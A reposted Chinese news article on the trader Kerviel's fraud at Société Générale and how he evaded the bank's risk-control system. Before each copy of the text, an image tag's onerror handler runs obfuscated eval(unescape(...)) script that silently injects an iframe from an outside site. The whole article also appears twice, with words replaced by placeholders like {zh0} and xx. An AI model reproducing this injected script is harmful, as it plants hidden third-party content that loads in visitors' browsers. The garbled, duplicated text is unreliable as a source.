卡林斯71亿美元亏损"密码"
[转贴 2010-01-31 10:50:49]
卡林斯71亿美元亏损"密码"
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
法国兴业银行执行官委员会成员菲利普说,法兴的风控是全球{zxj}的几家之一,他们的"天网"是何等坚强。但法国兴业银行一位名叫卡林斯的交易员却在这牢固的"天网"中,挥洒自如地造成49亿欧元的损失。若这年青的后生足够长寿,他要在法兴服务5万年,其年薪之和方抵得这笔损失。
卡林斯得以让法兴"天网"脆弱得如此不堪一击,皆因其"熟悉法兴风控的每一环节。"
菲利普无奈苦笑:这好比是知道密码的人要从保险柜里拿钱。
法兴的问题是:没有想办法预防知道保险柜密码的人做"家贼"。又有谁知道,法兴内部,还有多少人知道这"密码"?
"太疯狂了!太疯狂了!"事情已经过去5天了,但是在兴业银行工作了31年的菲利普一说起自己的这位同事,仍觉不可思议。
菲利普判断,卡林斯自己并没有赚到一分钱,"就像你买股票亏了,亏的钱都在市场上,而不会进任何一个人的腰包。"菲利普说。
面对已经发生的71亿美元损失,法国兴业银行执行官委员会成员之一、兴业银行集团下属全球投资管理服务公司CEO菲利普强调说"我们的风险控制系统是世界上{zh0}的之一"。
58岁的菲利普在法国时间1月25日早上10点钟通过越洋电话向本报记者细述了这一不幸案发的细节,并作了上述评价。
"坚强"的风控?
但菲利普转而指出"如果有一个人知道系统的每一个环节,你要阻止他做坏事是很难的"。
菲利普对兴业银行风险管理负有责任。每个月,菲利普都要参加集团召开的风险检查例会。会上,他和其他集团执行委员会的成员会和集团各业务部门的总管和风险控制部门的经理碰头,讨论公司的风险政策是否合适,测算风险的方法是否需要调整,也会讨论到员工表现。
兴业银行有一支2000人的风险管理团队,他们独立于所有业务部门之外,直接对集团总经理负责。他们的工作范围包括管理信用风险、市场风险、结构性风险和流动性风险以及操作中的风险。其中就有防范舞弊的风险和人为因素造成的金融和财务数据不实的任务。
这2000人中有近600人在兴业银行母公司,另外1400人则分散在集团内部的不同层面,负责监管各子公司和整个集团网络。这些人中,既有IT工程师也有经济学家。既有人专管信用管理,也有人专司市场风险控制。
"但是我们之前的会议上根本没有发现卡林斯的问题",菲利普对记者说,"因为这个人的头寸没有被记录。他使用了假的头寸来遮掩真实席位。"
但菲利普对银行的风险管理系统非常有信心。"我们有一个非常非常有效的系统,叫BAR。它真的是全世界{zh0}的之一。"自从兴业银行从1986开始使用这样系统以来,从来没有发生过问题。
兴业银行的网站显示,其风险控制规范是遵照法国银行金融规则委员会的基本原则制定的。法国银行金融规则委员会规定了两条原则:风险评价部门必须xx独立于业务部门,对风险的评价和监控必须在集团的层面扎实进行。
卡林斯"密码"
遗憾的是,在菲利普看来坚不可摧的防范系统难防"家贼"卡林斯。
法国时间1月18日晚上,法兴银行内风险控制系统突然发出警报,警告有某帐户进行了超过其交易额上限的交易,时间就在星期五。这立刻引起兴业银行风险控制部门的注意。
兴业银行的工作人员从1月18日晚到次日,检查了这一帐户的所有交易记录,发现这是一个虚假的仓位,而它背后的操作人则是兴业银行巴黎总部一位从事欧洲股指期货普通对冲交易的交易员卡林斯。
卡林斯,今年31岁,2000年进入总部工作,八年期间,先后在银行的中间部门和后台都工作过。他先在主要负责监控手续的"middleoffice"工作,然后进入操作交易的"frontoffice"。
"这就像是有一个知道保险柜密码的人要从保险柜里面拿钱",菲利普无奈地说。
卡林斯的工作经历,让他熟悉游戏规则。从兴业银行介绍来看,其瞒天过海的伎俩帮助它实现了这一操作结果。
兴业主席布通(DanielBouton)称,卡林斯除了兴业银行的正式帐户外,这名交易员还在交易所内偷建一公司,挂在兴业银行下。他每次都用后一个"虚拟帐户"来取消前一个帐户的部分交易,所以属于兴业银行的正式帐户里并没有发生异常现象。同时,因为对查帐的日程表了如指掌,他熟练地避过了监控系统。
据上述兴业银行高管介绍,卡林斯正是利用了跨部门工作经验和对业务流程的熟练,创建了一个虚拟账号,以障眼法晃过银行风险监控系统BAR,在期货市场上进行交易。
法国银行1月24日发布公开信表示,兴业银行是一场内部欺诈的受害人。法国银行在银行发现案发之后马上接到了报告。银行业委员会将追问诈骗发生的具体情况。
法国检查机构,法国银行已开始协助兴业银行调查这次诈骗交易。作为风险检测例会的成员之一,菲利普表示,公司将根据调查的结果,检讨自己的风险监控机制,如果必要的话,将进行改进。
如果不是当天他在操作时交易金额超过帐户交易额上限引起银行的市场风险监控系统报警,也许只有天知地知,也许卡林斯可能还会给银行造成更大的损失。
当他登出交易系统时,警报拉响了。悬疑是:为何卡林斯得以在不同的部门都工作过?类似经历的员工兴业银行还有多少,是否都是隐形xx?
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
法国兴业银行执行官委员会成员菲利普说,法兴的风控是全球{zxj}的几家之一,他们的"天网"是何等坚强。但法国兴业银行一位名叫卡林斯的交易员却在这牢固的"天网"中,挥洒自如地造成49亿欧元的损失。若这年青的后生足够长寿,他要在法兴服务5万年,其年薪之和方抵得这笔损失。
卡林斯得以让法兴"天网"脆弱得如此不堪一击,皆因其"熟悉法兴风控的每一环节。"
菲利普无奈苦笑:这好比是知道密码的人要从保险柜里拿钱。
法兴的问题是:没有想办法预防知道保险柜密码的人做"家贼"。又有谁知道,法兴内部,还有多少人知道这"密码"?
"太疯狂了!太疯狂了!"事情已经过去5天了,但是在兴业银行工作了31年的菲利普一说起自己的这位同事,仍觉不可思议。
菲利普判断,卡林斯自己并没有赚到一分钱,"就像你买股票亏了,亏的钱都在市场上,而不会进任何一个人的腰包。"菲利普说。
面对已经发生的71亿美元损失,法国兴业银行执行官委员会成员之一、兴业银行集团下属全球投资管理服务公司CEO菲利普强调说"我们的风险控制系统是世界上{zh0}的之一"。
58岁的菲利普在法国时间1月25日早上10点钟通过越洋电话向本报记者细述了这一不幸案发的细节,并作了上述评价。
"坚强"的风控?
但菲利普转而指出"如果有一个人知道系统的每一个环节,你要阻止他做坏事是很难的"。
菲利普对兴业银行风险管理负有责任。每个月,菲利普都要参加集团召开的风险检查例会。会上,他和其他集团执行委员会的成员会和集团各业务部门的总管和风险控制部门的经理碰头,讨论公司的风险政策是否合适,测算风险的方法是否需要调整,也会讨论到员工表现。
兴业银行有一支2000人的风险管理团队,他们独立于所有业务部门之外,直接对集团总经理负责。他们的工作范围包括管理信用风险、市场风险、结构性风险和流动性风险以及操作中的风险。其中就有防范舞弊的风险和人为因素造成的金融和财务数据不实的任务。
这2000人中有近600人在兴业银行母公司,另外1400人则分散在集团内部的不同层面,负责监管各子公司和整个集团网络。这些人中,既有IT工程师也有经济学家。既有人专管信用管理,也有人专司市场风险控制。
"但是我们之前的会议上根本没有发现卡林斯的问题",菲利普对记者说,"因为这个人的头寸没有被记录。他使用了假的头寸来遮掩真实席位。"
但菲利普对银行的风险管理系统非常有信心。"我们有一个非常非常有效的系统,叫BAR。它真的是全世界{zh0}的之一。"自从兴业银行从1986开始使用这样系统以来,从来没有发生过问题。
兴业银行的网站显示,其风险控制规范是遵照法国银行金融规则委员会的基本原则制定的。法国银行金融规则委员会规定了两条原则:风险评价部门必须xx独立于业务部门,对风险的评价和监控必须在集团的层面扎实进行。
卡林斯"密码"
遗憾的是,在菲利普看来坚不可摧的防范系统难防"家贼"卡林斯。
法国时间1月18日晚上,法兴银行内风险控制系统突然发出警报,警告有某帐户进行了超过其交易额上限的交易,时间就在星期五。这立刻引起兴业银行风险控制部门的注意。
兴业银行的工作人员从1月18日晚到次日,检查了这一帐户的所有交易记录,发现这是一个虚假的仓位,而它背后的操作人则是兴业银行巴黎总部一位从事欧洲股指期货普通对冲交易的交易员卡林斯。
卡林斯,今年31岁,2000年进入总部工作,八年期间,先后在银行的中间部门和后台都工作过。他先在主要负责监控手续的"middleoffice"工作,然后进入操作交易的"frontoffice"。
"这就像是有一个知道保险柜密码的人要从保险柜里面拿钱",菲利普无奈地说。
卡林斯的工作经历,让他熟悉游戏规则。从兴业银行介绍来看,其瞒天过海的伎俩帮助它实现了这一操作结果。
兴业主席布通(DanielBouton)称,卡林斯除了兴业银行的正式帐户外,这名交易员还在交易所内偷建一公司,挂在兴业银行下。他每次都用后一个"虚拟帐户"来取消前一个帐户的部分交易,所以属于兴业银行的正式帐户里并没有发生异常现象。同时,因为对查帐的日程表了如指掌,他熟练地避过了监控系统。
据上述兴业银行高管介绍,卡林斯正是利用了跨部门工作经验和对业务流程的熟练,创建了一个虚拟账号,以障眼法晃过银行风险监控系统BAR,在期货市场上进行交易。
法国银行1月24日发布公开信表示,兴业银行是一场内部欺诈的受害人。法国银行在银行发现案发之后马上接到了报告。银行业委员会将追问诈骗发生的具体情况。
法国检查机构,法国银行已开始协助兴业银行调查这次诈骗交易。作为风险检测例会的成员之一,菲利普表示,公司将根据调查的结果,检讨自己的风险监控机制,如果必要的话,将进行改进。
如果不是当天他在操作时交易金额超过帐户交易额上限引起银行的市场风险监控系统报警,也许只有天知地知,也许卡林斯可能还会给银行造成更大的损失。
当他登出交易系统时,警报拉响了。悬疑是:为何卡林斯得以在不同的部门都工作过?类似经历的员工兴业银行还有多少,是否都是隐形xx?
郑重声明：资讯 【卡林斯71亿美元亏损"密码" - xxx资讯- bristle - 和讯博客】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
